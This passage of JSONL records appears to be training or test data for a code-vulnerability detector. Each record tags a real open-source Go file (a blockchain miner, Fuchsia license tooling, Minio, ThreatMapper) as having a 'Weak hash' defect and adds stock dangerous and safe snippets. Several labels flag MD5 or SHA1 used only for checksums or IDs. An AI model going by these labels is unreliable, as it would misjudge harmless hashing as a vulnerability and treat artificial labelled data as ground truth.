m.OpSigChMap[opSig].ch <- ValidatedOp{blockHash: hash, valid: false}\n return\n }\n }\n\n hash = block.Parent\n block = m.BlockHashMap.BlockHash[block.Parent]\n }\n }\n }\n}\n\nfunc containsOp(ops []shared.Operation, opSig string) bool {\n for _, o := range ops {\n if o.OpSig == opSig {\n return true\n }\n }\n return false\n}\n\n// Returns a list of valid operations, a list of invalid operations, and hash of the longest chain\nfunc (m *Miner) filterOperations(currOps []shared.Operation, existingOps []shared.Operation) ([]shared.Operation, []shared.Operation, string) {\n\tfilteredOps := make([]shared.Operation, 0)\n\tvalidOps := make([]shared.Operation, 0)\n\tinvalidOps := make([]shared.Operation, 0)\n\n\t// Filter out the overlapping Operations\n\tfor _, cOp := range currOps {\n\t\texists := 0\n\t\tfor _, eOp := range existingOps {\n\t\t\tif eOp.OpSig == cOp.OpSig {\n\t\t\t\texists += 1\n\t\t\t}\n\t\t}\n\n\t\tif exists == 0 {\n\t\t\tfilteredOps = append(filteredOps, cOp)\n\t\t}\n\t}\n\n\thash := selectRandomHash(m.BlockHashMap.LongestChainHashes)\n\n\tblocks := m.TraceBlockToGenesis(hash)\n\n\t// Create a Canvas based on this chain\n\tcanvas := make(map[string][]shared.CanvasShape)\n\t// InkMap for checking if there is sufficient ink to draw new operation\n\tinkMap := make(map[string]uint32)\n\t// opSigMap to check identical signature have not been previously added\n\topSigMap := make(map[string]uint32)\n\n\t// Update canvas, inkMap and opSigMap as we traverse each block on the blockchain\n\tfor _, block := range blocks {\n\t\tfor _, op := range block.Operations {\n\t\t\tm.UpdateStatesForOperation(op, &canvas, &inkMap, &opSigMap)\n\t\t}\n\n\t\t// Reward creator for generating the blocks\n\t\tif block.Noop {\n\t\t\tinkMap[shared.PubKeyToString(block.Creator)] += m.Settings.InkPerNoOpBlock\n\t\t} else {\n\t\t\tinkMap[shared.PubKeyToString(block.Creator)] += m.Settings.InkPerOpBlock\n\t\t}\n\t}\n\n\t// Update canvas, inkMap and opSigMap as we traverse filteredOps\n\tfor _, op := range filteredOps {\n\t\t// if operation is valid, add it to invalidOps\n\t\tif m.ValidateOperation(op, canvas, inkMap, opSigMap) {\n\t\t\tvalidOps = append(validOps, op)\n\t\t\tm.UpdateStatesForOperation(op, &canvas, &inkMap, &opSigMap)\n\t\t} else { // If operation is invalid, do not update the state, add to invalidOps\n\t\t\tinvalidOps = append(invalidOps, op)\n\t\t}\n\t}\n\n\treturn validOps, invalidOps, hash\n}\n\n\nfunc selectRandomHash(hashes []string) string {\n\tselector := big.NewInt(0)\n\tif len(hashes) > 1 {\n\t\t// uniformly select a number between 0 and # valid hashes\n\t\tselector, _ = rand.Int(rand.Reader, big.NewInt(int64(len(hashes))))\n\t}\n\n\treturn hashes[selector.Int64()]\n}\n\nfunc verifyOperation(op shared.Operation) bool {\n\topsig := strings.Split(op.OpSig, \" \")\n\tr := big.NewInt(0)\n\ts := big.NewInt(0)\n\tr.SetString(opsig[0], 10)\n\ts.SetString(opsig[1], 10)\n\n\treturn ecdsa.Verify(&op.Owner, []byte(op.Op), r, s)\n}\n\nfunc (m *Miner) printBlock(block shared.Block, valid bool, branch bool) {\n hash := miners.ComputeHash(block)\n if valid {\n if branch {\n fmt.Printf(\"Block:[✓][ᛘ][Parent: %v, Hash: %v, Depth: %v, \", block.Parent, hash, block.Depth)\n } else {\n fmt.Printf(\"Block:[✓][-][Parent: %v, Hash: %v, Depth: %v, \", block.Parent, hash, block.Depth)\n }\n } else {\n fmt.Printf(\"Block:[✕][Parent: %v, Hash: %v, Depth: %v, \", block.Parent, hash, block.Depth)\n }\n m.printOperations(block.Operations, block.InvalidOps)\n}\n\nfunc (m *Miner) printOperations(validOps []shared.Operation, invalidOps []shared.Operation) {\n fmt.Printf(\"Operations: [\")\n\tfor _, op := range validOps {\n\t\tm.printOperation(op, true)\n\t}\n for _, op := range invalidOps {\n m.printOperation(op, false)\n }\n fmt.Printf(\"]]\\n\")\n}\n\nfunc (m *Miner) printOperation(op shared.Operation, valid bool) {\n if valid {\n\t fmt.Printf(\"[(✓)Op:%s, InkUsed:%v, isDelete:%v ]\", op.Op, op.InkUsed, op.Delete)\n } else {\n fmt.Printf(\"[(✕)Op:%s, InkUsed:%v, isDelete:%v ]\", op.Op, op.InkUsed, op.Delete)\n }\n}\n\n/*\nTESTS - THESE PURELY TEST THE BLOCKCHAIN LOGIC, NO VALIDATION\n*/\n// test add 2 operations, then auto generates noop blocks\nfunc test(m *Miner) {\n\tfmt.Println(\"Initializing test\")\n\ttime.Sleep(time.Second * 1)\n\tfmt.Println(\"Sending operation\")\n\n\topStrng := \"op1\" + time.Now().String() + \"false\"\n\tfmt.Println(opStrng)\n\tr, s, err := ecdsa.Sign(rand.Reader, m.PrivateKey, []byte(opStrng))\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\topSig := string(r.String() + \" \" + s.String())\n\top1 := shared.Operation{ValidateNum: 2, Owner: *m.PublicKey, Op: opStrng, OpSig: opSig, Delete: false}\n\n\topStrng = \"op2\" + time.Now().String() + \"false\"\n\tfmt.Println(opStrng)\n\tr, s, err = ecdsa.Sign(rand.Reader, m.PrivateKey, []byte(opStrng))\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\topSig = string(r.String() + \" \" + s.String())\n\top2 := shared.Operation{ValidateNum: 2, Owner: *m.PublicKey, Op: opStrng, OpSig: opSig, Delete: false}\n\n\tm.OpCh <- op1\n\tm.OpCh <- op2\n\n}\n\n//test sending blocks past max blocks limit for 1 block so should create 2 op blocks\nfunc test2(m *Miner) {\n\tfmt.Println(\"Init test 2\")\n\ttime.Sleep(time.Second * 1)\n\tm.OpCh <- shared.Operation{Op: \"Op1\", OpSig: \"opsig1\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op2\", OpSig: \"opsig2\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op3\", OpSig: \"opsig3\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op4\", OpSig: \"opsig4\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op5\", OpSig: \"opsig5\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op6\", OpSig: \"opsig6\", Owner: *m.PublicKey}\n}\n\n// testin that it handles incoming blocks when it's mining properly\n// if it mines to the same parent hash, it will filter out the ops and re-mine\nfunc test3(m *Miner) {\n\tfmt.Println(\"Init test 3\")\n\ttime.Sleep(time.Second * 1)\n\toperations := make([]shared.Operation, 3)\n\toperations[0] = shared.Operation{Op: \"Op1\", OpSig: \"opsig1\", Owner: *m.PublicKey}\n\toperations[1] = shared.Operation{Op: \"Op2\", OpSig: \"opsig2\", Owner: *m.PublicKey}\n\toperations[2] = shared.Operation{Op: \"Op3\", OpSig: \"opsig3\", Owner: *m.PublicKey}\n\n\tm.OpCh <- shared.Operation{Op: \"Op1\", OpSig: \"opsig1\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op2\", OpSig: \"opsig2\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op3\", OpSig: \"opsig3\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op4\", OpSig: \"opsig4\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op5\", OpSig: \"opsig5\", Owner: *m.PublicKey}\n\tm.BlockCh <- shared.Block{Noop: false, Parent: \"83218ac34c1834c26781fe4bde918ee4\", Creator: *m.PublicKey, Operations: operations}\n\tm.OpCh <- shared.Operation{Op: \"Op6\", OpSig: \"opsig6\", Owner: *m.PublicKey}\n\ttime.Sleep(time.Second * 3)\n\n}\n\n//\nfunc test4(m *Miner) {\n\tfmt.Println(\"Init test 3\")\n\ttime.Sleep(time.Second * 1)\n\tm.OpCh <- shared.Operation{Op: \"Op1\", OpSig: \"opsig1\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op2\", OpSig: \"opsig2\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op3\", OpSig: \"opsig3\", Owner: *m.PublicKey}\n\ttime.Sleep(time.Second * 10)\n\tm.OpCh <- shared.Operation{Op: \"Op4\", OpSig: \"opsig4\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op5\", OpSig: \"opsig5\", Owner: *m.PublicKey}\n\tm.OpCh <- shared.Operation{Op: \"Op6\", OpSig: \"opsig6\", Owner: *m.PublicKey}\n}\n\nfunc testFilteredOp(m *Miner) {\n\top1 := make([]shared.Operation, 5)\n\top1[0] = shared.Operation{Op: \"Op2\", OpSig: \"opsig2\", Owner: *m.PublicKey}\n\top1[1] = shared.Operation{Op: \"Op3\", OpSig: \"opsig3\", Owner: *m.PublicKey}\n\top1[2] = shared.Operation{Op: \"Op4\", OpSig: \"opsig4\", Owner: *m.PublicKey}\n\top1[3] = shared.Operation{Op: \"Op5\", OpSig: \"opsig5\", Owner: *m.PublicKey}\n\top1[4] = shared.Operation{Op: \"Op6\", OpSig: \"opsig6\", Owner: *m.PublicKey}\n\top2 := make([]shared.Operation, 4)\n\top2[0] = shared.Operation{Op: \"Op7\", OpSig: \"opsig7\", Owner: *m.PublicKey}\n\top2[1] = shared.Operation{Op: \"Op3\", OpSig: \"opsig3\", Owner: *m.PublicKey}\n\top2[2] = shared.Operation{Op: \"Op8\", OpSig: \"opsig8\", Owner: *m.PublicKey}\n\top2[3] = shared.Operation{Op: \"Op5\", OpSig: \"opsig5\", Owner: *m.PublicKey}\n\top3, _, hash := m.filterOperations(op1, op2)\n\tfmt.Println(op3, hash)\n}\n\nfunc testVerifyOperation(m *Miner) {\n\t//sending it to the pow for creation... wrap it in a block structure first\n\topStrng := \"garbage\" + time.Now().String() + \"false\"\n\tfmt.Println(opStrng)\n\tr, s, err := ecdsa.Sign(rand.Reader, m.PrivateKey, []byte(opStrng))\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\topSig := string(r.String() + \" \" + s.String())\n\top := shared.Operation{ValidateNum: 2, Owner: *m.PublicKey, Op: opStrng, OpSig: opSig, Delete: false}\n\n\tfmt.Println(\"Verified operation to be: \", verifyOperation(op))\n\n\tnewPrivKey, newPubKey := GetPublicPrivateKeyPair()\n\topStrng = \"garbage\" + time.Now().String() + \"true\"\n\tfmt.Println(opStrng)\n\tr, s, err = ecdsa.Sign(rand.Reader, newPrivKey, []byte(opStrng))\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\topSig = string(r.String() + \" \" + s.String())\n\top = shared.Operation{ValidateNum: 2, Owner: *m.PublicKey, Op: opStrng, OpSig: opSig, Delete: false}\n\tfmt.Println(\"Verified operation to be: \", verifyOperation(op))\n\n\topStrng = \"garbage\" + time.Now().String() + \"true\"\n\tfmt.Println(opStrng)\n\tr, s, err = ecdsa.Sign(rand.Reader, newPrivKey, []byte(opStrng))\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\topSig = string(r.String() + \" \" + s.String())\n\top = shared.Operation{ValidateNum: 2, Owner: *newPubKey, Op: opStrng, OpSig: opSig, Delete: false}\n\tfmt.Println(\"Verified operation to be: \", verifyOperation(op))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 10, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "ccfb4318443a7f9a5146eb99e2a4433e1083c73fb0d43ceabcd3cd246e2e436d", "license": {"spdx": ["BSD-2-Clause"], "repo": "fabio-d/fuchsia-stardock", "path": "tools/check-licenses/file/filedata.go", "repo_head_hexsha": "e57f5d1cf015fe2294fc2a5aea704842294318d2", "stack_hexsha": "10de10b4213760c58d6cf35288d3a3db3c81cbd3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 9, "entireCode": "// Copyright 2022 The Fuchsia Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\npackage file\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\n\t\"go.fuchsia.dev/fuchsia/tools/check-licenses/file/notice\"\n)\n\n// FileData holds the text information (and some metadata) for a given file.\n//\n// Many NOTICE files will include several license texts in it.\n// FileData represents one of those segments. It also maintains a line number\n// that points to the location of this license text in the original NOTICE file,\n// making it easier to find this license text again later.\ntype FileData struct {\n\tFilePath string\n\tLibraryName string\n\tLineNumber int\n\tData []byte\n\n\thash string\n}\n\n// Order implements sort.Interface for []*FileData based on the FilePath field.\ntype OrderFileData []*FileData\n\nfunc (a OrderFileData) Len() int { return len(a) }\nfunc (a OrderFileData) Swap(i, j int) { a[i], a[j] = a[j], a[i] }\nfunc (a OrderFileData) Less(i, j int) bool {\n\tif a[i].FilePath < a[j].FilePath {\n\t\treturn true\n\t}\n\tif a[i].FilePath > a[j].FilePath {\n\t\treturn false\n\t}\n\treturn a[i].LineNumber < a[j].LineNumber\n}\n\nfunc NewFileData(path string, content []byte, filetype FileType) ([]*FileData, error) {\n\tdata := make([]*FileData, 0)\n\n\t// The \"LicenseFormat\" field of each file is set at the project level\n\t// (in README.fuchsia files) and it affects how they are analyzed here.\n\tswitch filetype {\n\n\t// Default: File.LicenseFormat == Any\n\t// This is most likely a regular source file in the repository.\n\t// May or may not have copyright information.\n\tcase Any:\n\t\tdata = append(data, &FileData{\n\t\t\tFilePath: path,\n\t\t\tLineNumber: 0,\n\t\t\tData: bytes.TrimSpace(content),\n\t\t})\n\n\t// File.LicenseFormat == CopyrightHeader\n\t// All source files belonging to \"The Fuchsia Authors\" (fuchsia.git)\n\t// must contain Copyright header information.\n\tcase CopyrightHeader:\n\t\tdata = append(data, &FileData{\n\t\t\tFilePath: path,\n\t\t\tLineNumber: 0,\n\t\t\tData: bytes.TrimSpace(content),\n\t\t})\n\n\t// File.LicenseFormat == SingleLicense\n\t// Regular LICENSE files that contain text for a single license.\n\tcase SingleLicense:\n\t\tdata = append(data, &FileData{\n\t\t\tFilePath: path,\n\t\t\tLineNumber: 0,\n\t\t\tData: bytes.TrimSpace(content),\n\t\t})\n\n\t// File.LicenseFormat == MultiLicense*\n\t// NOTICE files that contain text for multiple licenses.\n\t// See the files in the /notice subdirectory for more info.\n\tcase MultiLicenseChromium:\n\t\tndata, err := notice.ParseChromium(path, content)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, d := range ndata {\n\t\t\tdata = append(data, &FileData{\n\t\t\t\tFilePath: path,\n\t\t\t\tLineNumber: d.LineNumber,\n\t\t\t\tLibraryName: d.LibraryName,\n\t\t\t\tData: bytes.TrimSpace(d.LicenseText),\n\t\t\t})\n\t\t}\n\tcase MultiLicenseFlutter:\n\t\tndata, err := notice.ParseFlutter(path, content)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, d := range ndata {\n\t\t\tdata = append(data, &FileData{\n\t\t\t\tFilePath: path,\n\t\t\t\tLineNumber: d.LineNumber,\n\t\t\t\tLibraryName: d.LibraryName,\n\t\t\t\tData: bytes.TrimSpace(d.LicenseText),\n\t\t\t})\n\t\t}\n\tcase MultiLicenseGoogle:\n\t\tndata, err := notice.ParseGoogle(path, content)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, d := range ndata {\n\t\t\tdata = append(data, &FileData{\n\t\t\t\tFilePath: path,\n\t\t\t\tLineNumber: d.LineNumber,\n\t\t\t\tLibraryName: d.LibraryName,\n\t\t\t\tData: bytes.TrimSpace(d.LicenseText),\n\t\t\t})\n\t\t}\n\t}\n\n\tfor _, d := range data {\n\t\tfor _, r := range Config.Replacements {\n\t\t\td.Data = bytes.ReplaceAll(d.Data, []byte(r.Replace), []byte(r.With))\n\t\t}\n\t}\n\treturn data, nil\n}\n\nfunc (fd *FileData) SetData(data []byte) {\n\tfd.Data = data\n\tfd.hash = \"\"\n\tfd.Hash()\n}\n\n// Hash the content of this filedata object, to help detect duplicate texts\n// and help reduce the final NOTICE filesize.\nfunc (fd *FileData) Hash() string {\n\tif len(fd.hash) > 0 {\n\t\treturn fd.hash\n\t}\n\n\thasher := sha1.New()\n\thasher.Write(bytes.TrimSpace(fd.Data))\n\tfd.hash = base64.URLEncoding.EncodeToString(hasher.Sum(nil))\n\treturn fd.hash\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "337f326b514791e2b428657b8bb81b01b1727bc14abc965fb0aa0a6cb75c548d", "license": {"spdx": ["Apache-2.0"], "repo": "yangbinnnn/minio", "path": "cmd/hasher.go", "repo_head_hexsha": "4d02f9bccfcaf71a44fb062e1be26753f79819c3", "stack_hexsha": "d38f319dbe6ffce5bdc0a438bfe5c6b55c087a13", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 20, "entireCode": "/*\n * Minio Cloud Storage, (C) 2016 Minio, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage cmd\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\n\t\"github.com/minio/sha256-simd\"\n)\n\n// getSHA256Hash returns SHA-256 hash in hex encoding of given data.\nfunc getSHA256Hash(data []byte) string {\n\treturn hex.EncodeToString(getSHA256Sum(data))\n}\n\n// getSHA256Hash returns SHA-256 sum of given data.\nfunc getSHA256Sum(data []byte) []byte {\n\thash := sha256.New()\n\thash.Write(data)\n\treturn hash.Sum(nil)\n}\n\n// getMD5Sum returns MD5 sum of given data.\nfunc getMD5Sum(data []byte) []byte {\n\thash := md5.New()\n\thash.Write(data)\n\treturn hash.Sum(nil)\n}\n\n// getMD5Hash returns MD5 hash in hex encoding of given data.\nfunc getMD5Hash(data []byte) string {\n\treturn hex.EncodeToString(getMD5Sum(data))\n}\n\n// getMD5HashBase64 returns MD5 hash in base64 encoding of given data.\nfunc getMD5HashBase64(data []byte) string {\n\treturn base64.StdEncoding.EncodeToString(getMD5Sum(data))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 20, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "217a3eaa0840319e6f22cc72691b2f28067ae71a045507a9968d998b126886b3", "license": {"spdx": ["Apache-2.0"], "repo": "noboruma/ThreatMapper", "path": "deepfence_backend/websocket_api/scope_websocket_client/node_utils.go", "repo_head_hexsha": "a3fde8c05f2a4007cd9b7b8b4874ff82d6a14245", "stack_hexsha": "5c7eefa583160c6963a33a2da0eb498a07128560", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package main\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"log\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nfunc (wsCli *WebsocketClient) scopeTopologyFixes(scopeTopologyList []ScopeTopology) []ScopeTopology {\n\t//\n\t// In k8s, different pods can have same container name in same host. Our code uses container_name as uid (within host) in many places.\n\t// It is fixed by changing container_name to namespace/pod_name/container_name tuple.\n\t//\n\tif wsCli.nodeType == NodeTypeContainer {\n\t\ttopologyOptions := TopologyOptions{NodeType: NodeTypePod, Params: TopologyParams{Format: TopologyFormatScope, Stopped: \"both\", Pseudo: \"show\", Unconnected: \"show\", Namespace: \"\"}}\n\t\ttopologyOptions.TopologyOptionsValidate()\n\t\tredisConn := wsCli.redisPool.Get()\n\t\tdefer redisConn.Close()\n\t\ttopologyPodsJson, err := FetchTopologyData(redisConn, topologyOptions.Channel)\n\t\tif err != nil {\n\t\t\treturn scopeTopologyList\n\t\t}\n\t\tvar topologyPods map[string]ScopeTopology\n\t\terr = json.Unmarshal(topologyPodsJson, &topologyPods)\n\t\tif err != nil {\n\t\t\treturn scopeTopologyList\n\t\t}\n\t\tscopeTopologyListNew := make([]ScopeTopology, len(scopeTopologyList))\n\t\tfor i, contDetail := range scopeTopologyList {\n\t\t\tpodId := \"\"\n\t\t\tcontainerName := contDetail.Label\n\t\t\tfor _, parent := range contDetail.Parents {\n\t\t\t\tif parent.TopologyID == TopologyIdPod {\n\t\t\t\t\tpodId = parent.ID\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif podId != \"\" {\n\t\t\t\tif podDetail, ok := topologyPods[podId]; ok {\n\t\t\t\t\tcontDetail.Label = fmt.Sprintf(\"%s/%s\", podDetail.Label, containerName)\n\t\t\t\t}\n\t\t\t}\n\t\t\tscopeTopologyListNew[i] = contDetail\n\t\t}\n\t\treturn scopeTopologyListNew\n\t} else if wsCli.nodeType == NodeTypePod {\n\t\tscopeTopologyListNew := make([]ScopeTopology, len(scopeTopologyList))\n\t\tfor i, podDetail := range scopeTopologyList {\n\t\t\tpodNamespace := \"\"\n\t\t\tpodName := podDetail.Label\n\t\t\tfor _, metadata := range podDetail.Metadata {\n\t\t\t\tif metadata.ID == \"kubernetes_namespace\" {\n\t\t\t\t\tpodNamespace = metadata.Value\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tpodDetail.Label = fmt.Sprintf(\"%s/%s\", podNamespace, podName)\n\t\t\tscopeTopologyListNew[i] = podDetail\n\t\t}\n\t\treturn scopeTopologyListNew\n\t}\n\treturn scopeTopologyList\n}\n\nfunc (wsCli *WebsocketClient) getDfIdFromScopeId(scopeID string) string {\n\ttemp := []byte(scopeID + wsCli.nodeType)\n\treturn fmt.Sprintf(\"%x\", md5.Sum(temp))\n}\n\nfunc (wsCli *WebsocketClient) getDfIdFromScopeIdNodeType(scopeID string, nodeType string) string {\n\ttemp := []byte(scopeID + nodeType)\n\treturn fmt.Sprintf(\"%x\", md5.Sum(temp))\n}\n\nfunc (wsCli *WebsocketClient) formatParentNodes(parents []Parent) []ParentNode {\n\t// Get formatted data for children / parents\n\tparentNodes := make([]ParentNode, len(parents))\n\t// {\n\t// \"parents\": [\n\t// {\n\t// \"id\": \"k8s.gcr.io/pause;\",\n\t// \"label\": \"k8s.gcr.io/pause\",\n\t// \"topologyId\": \"containers-by-image\"\n\t// }\n\t// ]\n\t// }\n\t//\n\tfor i, parent := range parents {\n\t\tparentNode := ParentNode{Type: TopologyIdNodeTypeMap[parent.TopologyID], Label: parent.Label, ID: wsCli.getDfIdFromScopeIdNodeType(parent.ID, TopologyIdNodeTypeMap[parent.TopologyID])}\n\t\tparentNodes[i] = parentNode\n\t}\n\treturn parentNodes\n}\n\nfunc (wsCli *WebsocketClient) formatAdjacency(adjacenciesScopeId []string) []string {\n\t// Adjacency - scope_id to df_id\n\tadjacencies := make([]string, len(adjacenciesScopeId))\n\tfor i, scopeId := range adjacenciesScopeId {\n\t\tadjacencies[i] = wsCli.getDfIdFromScopeId(scopeId)\n\t}\n\treturn adjacencies\n}\n\nfunc (wsCli *WebsocketClient) formatHostNodeDetail(scopeTopology ScopeTopology) (DeepfenceTopology, string, []string) {\n\tvar dfTopology = DeepfenceTopology{HostName: scopeTopology.Label, ID: wsCli.getDfIdFromScopeId(scopeTopology.ID),\n\t\tPseudo: scopeTopology.Pseudo, Type: wsCli.nodeType, Meta: scopeTopology.LabelMinor, Name: scopeTopology.Label,\n\t\tScopeId: scopeTopology.ID, UserDefinedTags: make([]string, 0)}\n\tprobeId := \"\"\n\tvar localNetworks []string\n\tcloudMetadata := CloudMetadata{}\n\tdfTopology.CloudMetadata = &cloudMetadata\n\n\tfor _, metadata := range scopeTopology.Metadata {\n\t\tswitch metadata.ID {\n\t\tcase \"local_networks\":\n\t\t\tfor _, nw := range strings.Split(metadata.Value, \",\") {\n\t\t\t\tlocalNetworks = append(localNetworks, strings.TrimSpace(nw))\n\t\t\t}\n\t\t\tdfTopology.LocalNetworks = localNetworks\n\t\tcase \"probeId\":\n\t\t\tprobeId = metadata.Value\n\t\tcase \"interfaceNames\":\n\t\t\tdfTopology.InterfaceNames = strings.Split(metadata.Value, \";\")\n\t\tcase \"kernel_version\":\n\t\t\tdfTopology.KernelVersion = metadata.Value\n\t\tcase \"uptime\":\n\t\t\tdfTopology.Uptime, _ = strconv.Atoi(metadata.Value)\n\t\tcase \"authToken\":\n\t\t\tdfTopology.AuthToken = metadata.Value\n\t\tcase \"os\":\n\t\t\tdfTopology.Os = metadata.Value\n\t\tcase \"connectedProcesses\":\n\t\t\tvar connectedProcesses ConnectedProcesses\n\t\t\terr := json.Unmarshal([]byte(metadata.Value), &connectedProcesses)\n\t\t\tif err == nil {\n\t\t\t\tdfTopology.ConnectedProcesses = &connectedProcesses\n\t\t\t}\n\t\tcase \"cloud_metadata\":\n\t\t\terr := json.Unmarshal([]byte(metadata.Value), &cloudMetadata)\n\t\t\tif err == nil {\n\t\t\t\tdfTopology.CloudMetadata = &cloudMetadata\n\t\t\t}\n\t\tcase \"interface_ips\":\n\t\t\tvar interfaceIps map[string]string\n\t\t\terr := json.Unmarshal([]byte(metadata.Value), &interfaceIps)\n\t\t\tif err == nil {\n\t\t\t\tdfTopology.InterfaceIps = interfaceIps\n\t\t\t}\n\t\tcase \"cloud_provider\":\n\t\t\tdfTopology.CloudProvider = metadata.Value\n\t\tcase \"kubernetes_cluster_id\":\n\t\t\tdfTopology.KubernetesClusterId = metadata.Value\n\t\tcase \"kubernetes_cluster_name\":\n\t\t\tdfTopology.KubernetesClusterName = metadata.Value\n\t\tcase \"is_ui_vm\":\n\t\t\tif metadata.Value == \"true\" 